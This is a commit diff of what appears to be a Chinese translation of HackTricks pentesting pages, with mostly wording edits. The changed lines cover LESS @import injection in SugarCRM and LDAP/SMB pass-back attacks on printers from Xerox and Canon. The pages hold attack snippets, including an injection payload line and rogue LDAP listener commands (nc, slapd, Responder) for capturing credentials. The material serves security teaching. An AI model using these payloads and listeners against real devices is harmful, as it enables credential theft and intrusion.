@import (inline) 'data:text/plain,@@END@@'; //
|
@import (inline) 'data:text/plain,@@END@@'; //
|
||||||
@ -64,7 +64,7 @@ sed -n 's/.*@@END@@\(.*\)/\1/p'
|
|||||||
|
|
||||||
| 产品 | 漏洞端点 | 影响 |
|
| 产品 | 漏洞端点 | 影响 |
|
||||||
|---------|--------------------|--------|
|
|---------|--------------------|--------|
|
||||||
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | 未认证的 SSRF 和本地文件读取 |
|
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | 未经身份验证的 SSRF 和本地文件读取 |
|
||||||
|
|
||||||
## 参考
|
## 参考
|
||||||
|
|
||||||
|
|||||||
@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
检查 **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
检查 **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
|
||||||
|
|
||||||
- SugarCRM ≤ 14.0.0 – LESS `@import` 注入在 `/rest/v10/css/preview` 中启用未认证的 SSRF 和本地文件读取。
|
- SugarCRM ≤ 14.0.0 – LESS `@import` 注入在 `/rest/v10/css/preview` 中启用未经身份验证的 SSRF 和本地文件读取。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../less-code-injection-ssrf.md
|
../less-code-injection-ssrf.md
|
||||||
|
|||||||
@ -3,7 +3,7 @@
|
|||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
互联网上有几个博客**强调了将打印机配置为使用默认/弱**登录凭据的LDAP的危险。 \
|
互联网上有几个博客**强调了将打印机配置为使用默认/弱**登录凭据的LDAP的危险。 \
|
||||||
这是因为攻击者可以**欺骗打印机向恶意LDAP服务器进行身份验证**(通常`nc -vv -l -p 389`或`slapd -d 2`就足够了),并捕获打印机**明文凭据**。
|
这是因为攻击者可能**欺骗打印机向恶意LDAP服务器进行身份验证**(通常`nc -vv -l -p 389`或`slapd -d 2`就足够了),并捕获打印机**明文凭据**。
|
||||||
|
|
||||||
此外,一些打印机将包含**带有用户名的日志**,甚至可能能够**从域控制器下载所有用户名**。
|
此外,一些打印机将包含**带有用户名的日志**,甚至可能能够**从域控制器下载所有用户名**。
|
||||||
|
|
||||||
@ -41,21 +41,21 @@ sudo dpkg-reconfigure slapd # set any base-DN – it will not be validated
|
|||||||
# run slapd in foreground / debug 2
|
# run slapd in foreground / debug 2
|
||||||
slapd -d 2 -h "ldap:///" # only LDAP, no LDAPS
|
slapd -d 2 -h "ldap:///" # only LDAP, no LDAPS
|
||||||
```
|
```
|
||||||
当打印机执行查找时,您将看到调试输出中的明文凭据。
|
当打印机执行查找时,您将在调试输出中看到明文凭据。
|
||||||
|
|
||||||
> 💡 您还可以使用 `impacket/examples/ldapd.py`(Python rogue LDAP)或 `Responder -w -r -f` 通过 LDAP/SMB 收集 NTLMv2 哈希。
|
> 💡 您还可以使用 `impacket/examples/ldapd.py`(Python rogue LDAP)或 `Responder -w -r -f` 通过 LDAP/SMB 收集 NTLMv2 哈希。
|
||||||
|
|
||||||
---
|
---
|
||||||
## 最近的回传漏洞(2024-2025)
|
## 最近的回传漏洞(2024-2025)
|
||||||
|
|
||||||
回传*不是*一个理论问题——供应商在 2024/2025 年持续发布 advisories,准确描述了这一攻击类别。
|
回传 *不是* 理论问题——供应商在 2024/2025 年持续发布建议,准确描述了这一攻击类别。
|
||||||
|
|
||||||
### 施乐 VersaLink – CVE-2024-12510 & CVE-2024-12511
|
### 施乐 VersaLink – CVE-2024-12510 & CVE-2024-12511
|
||||||
|
|
||||||
施乐 VersaLink C70xx MFP 的固件 ≤ 57.69.91 允许经过身份验证的管理员(或在默认凭据保持不变时的任何人):
|
施乐 VersaLink C70xx MFP 的固件 ≤ 57.69.91 允许经过身份验证的管理员(或在默认凭据保持不变时的任何人):
|
||||||
|
|
||||||
* **CVE-2024-12510 – LDAP 回传**:更改 LDAP 服务器地址并触发查找,导致设备将配置的 Windows 凭据泄露给攻击者控制的主机。
|
* **CVE-2024-12510 – LDAP 回传**:更改 LDAP 服务器地址并触发查找,导致设备将配置的 Windows 凭据泄露给攻击者控制的主机。
|
||||||
* **CVE-2024-12511 – SMB/FTP 回传**:通过 *scan-to-folder* 目标的相同问题,泄露 NetNTLMv2 或 FTP 明文凭据。
|
* **CVE-2024-12511 – SMB/FTP 回传**:通过 *扫描到文件夹* 目标的相同问题,泄露 NetNTLMv2 或 FTP 明文凭据。
|
||||||
|
|
||||||
一个简单的监听器,例如:
|
一个简单的监听器,例如:
|
||||||
```bash
|
```bash
|
||||||
@ -65,7 +65,7 @@ sudo nc -k -v -l -p 389 # capture LDAP bind
|
|||||||
|
|
||||||
### 佳能 imageRUNNER / imageCLASS – 通告 2025年5月20日
|
### 佳能 imageRUNNER / imageCLASS – 通告 2025年5月20日
|
||||||
|
|
||||||
佳能确认了数十款激光和多功能产品线中的 **SMTP/LDAP 回传** 弱点。具有管理员访问权限的攻击者可以修改服务器配置并检索存储的 LDAP **或** SMTP 凭据(许多组织使用特权账户来允许扫描到邮件)。
|
佳能确认了数十种激光和多功能产品线中的 **SMTP/LDAP 回传** 弱点。具有管理员访问权限的攻击者可以修改服务器配置并检索存储的 LDAP **或** SMTP 凭据(许多组织使用特权账户来允许扫描到邮件)。
|
||||||
|
|
||||||
供应商指导明确建议:
|
供应商指导明确建议:
|
||||||
|
|
||||||
|
|||||||
Loading…
x
Reference in New Issue
Block a user